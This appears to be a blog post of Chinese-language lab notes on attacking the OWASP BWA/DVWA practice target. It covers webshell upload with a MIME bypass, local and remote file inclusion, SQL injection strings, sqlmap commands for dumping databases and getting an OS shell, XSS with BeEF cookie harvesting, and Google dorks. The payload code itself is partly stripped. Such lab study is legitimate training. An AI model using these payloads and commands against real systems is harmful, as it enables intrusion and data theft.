owaspbwa靶机实践

upload

低安全级别

一、直接上传php木马文件

二、菜刀连接
上面代码中joe为连接密码

中安全级别

一、使用kali中的burp suite软件进行代理拦截

  1. 点入proxy栏中的options栏,将拦截地址改为kali的网络地址(在命令行中输入ip a即可得到)
  2. 再将上传文件的浏览器中的代理地址改为kali的网络地址,并上传php木马文件
  3. 文件会被burp suite拦截,将其中文件mime类型改为指定的image/jpeg
  4. 点击forward发送,文件成功上传

二、菜刀连接

file inclusion

避免方法

文件包含指定特定文件,误用*

低安全级别

方法一:本地文件包含

一、用edjpgcom把生成php木马文件的代码写入一张图片中,并上传

')?>

二、文件包含界面访问该文件
访问后自动生成木马文件
三、菜刀连接

方法二:远程文件包含

一、在kali中搭建服务器
命令行中输入
systemctl start apache2
systemctl status apache2
二、在服务器中写入能够生成php木马文件的文件
vim /var/www/html/inclusion.txt

'?>

退出并保存:先按esc,再输入 :wq(冒号不可去)
三、文件包含界面访问该文件
该文件的地址为:kali网络地址/inclusion.txt
四、菜刀连接

中安全级别

方法一:本地文件包含

与低安全级别一致

方法二:远程文件包含

与低安全级别大致一致
不同点在,访问文件时,需打碎http://,如hthttp://tp://

SQL injection

用union连接其他表,但需列数相同,列数不够可用1234顶替。

information_schema库

查看所有库及表 information_schema.tables

select DISTINCT table_schema from information_schema.tables;
此语句等同于show databases;

select table_name from information_schema.tables where table_schema=“dvwa”;
此语句等同于在dvwa库中show tables;

select table_schema,GROUP_CONCAT(table_name) from information_schema.tables GROUP BY table_schema;
此语句将库分组,显示出所有库及表

查看表中的列 information_schema.columns

select column_name from information_schema.columns where table_schema="" and table_name="";

手动注入

检查是否有注入点

输入单引号’,若报错而不是过滤掉,则表明存在注入点。

基于布尔的注入

此注入可获得当前表中所有的数据
原语句 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
输入 233’ or 1=1 – a
单引号前输入什么都没关系,单引号用于封闭 $id 前的单引号,or后面接上一个真条件,–为注释,其后必须有空格,a可用任何替换,目的是注释掉 $id 后面的单引号

基于union的注入

输入 ’ union select 1,2,3… –
其中1,2,3…从1输起,因为union select需与前面的字段数(多少列)相同,用于检测原语句中select多少个字段数

输入 ’ union select user(),database() – a
若上一步检测到只有两个字段数,则输入此语句得到当前用户及所在库,要搜的字段数不够则用数字填充,多了用concat连接字段,如 concat(user," ",password)

基于时间的盲注

直接输入单引号不给予反应时,使用基于时间的盲注
原语句 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
输入 1’ and sleep(5) –
如果停5秒,则有注入点

自动注入

使用kali中的sqlmap工具
命令行中输入形如 sqlmap -u “http://…?id=1” 搜索注入点

步骤

–batch
自动化搜索注入点

–current-db
获取当前库

–dbs
获取所有库

-D 库名 --tables
获取指定库所有表

-D 库名 -T 表名 --columns
获取指定库指定表中所有列

-D 库名 -T 表名 -C “列名” --dump
获取指定库、表、列的所有数据,多列名里用逗号连接

-D 库名 -T 表名 --dump
获取指定库、表的所有数据

另,如果需要先登录的情况检测,则先用浏览器的工具获得cookie
–cookie=" "
里面的值用等号连接

sqlmap指令

-u " " 后接搜索注入点的url
–batch 自动化输入
–dbms mysql 指定数据库为mysql
-p id 指定注入点id
–sql-shell 获取数据库权限
–os-shell 获取操作系统权限

避免方法

转义或者过滤单引号

XSS

含两种:XSS reflected、XSS stored
XSS reflected需要诱导用户点击
XSS stored不需要,只需用户进入即可

避免方法

过滤字符<>/

构造XSS脚本

弹框警告

用于检测是否存在XSS漏洞

页面嵌套

页面重定向


弹框警告及页面重定向

访问恶意代码


可利用大小写绕开过滤脚本

自动化XSS

一、kali搭建服务器
service apache2 start
二、打开beef
已设置账号密码为feeb
三、将Example里的代码植入漏洞点
需将网址改为kali的网络地址

四、打开web UI的地址
也需将网址改为kali的网络地址
打开登录后,cookie的搜集便都可在里面查看了

里面点入某用户下,current browser栏下的commands栏
绿色代表能够攻击且不会被发现
橙色代表能够攻击但可能会被发现
灰色代表可能可以攻击
红色代表不能攻击

web信息收集

搜索引擎

Google

site:zhihu.com “web安全”
搜索与zhihu.com、"web安全"相关的网页

filetype:pdf “SQL注入”
搜索含“SQL注入”的pdf文件

inurl:.php?id=
搜索网址中含有".php?id="的网页

intitle:后台登陆
搜索网页标题是“后台登陆”的相关页面
intitle:index of “password”
搜索与密码相关的索引目录信息

intext:power by wordpress
搜索正文中含有“power by wordpress”的网页

author:green
搜索作者为Green的网页

以上可同时使用

符号以限定搜索
-keyword 结果不出现keyword关键字
*keyword 结果包含keyword
“keyword” 结果出现keyword
~keyword 结果出现keyword及其近义词
2008…2019 指定年份

Shodan

用于搜索设备

Zoomeye

中国版shodan

目标扫描

nmap

zenmap

图形化的nmap

OpenVAS

已将账号设置为admin,密码为password

openvas-start 启动命令

你可能感兴趣的:(靶机)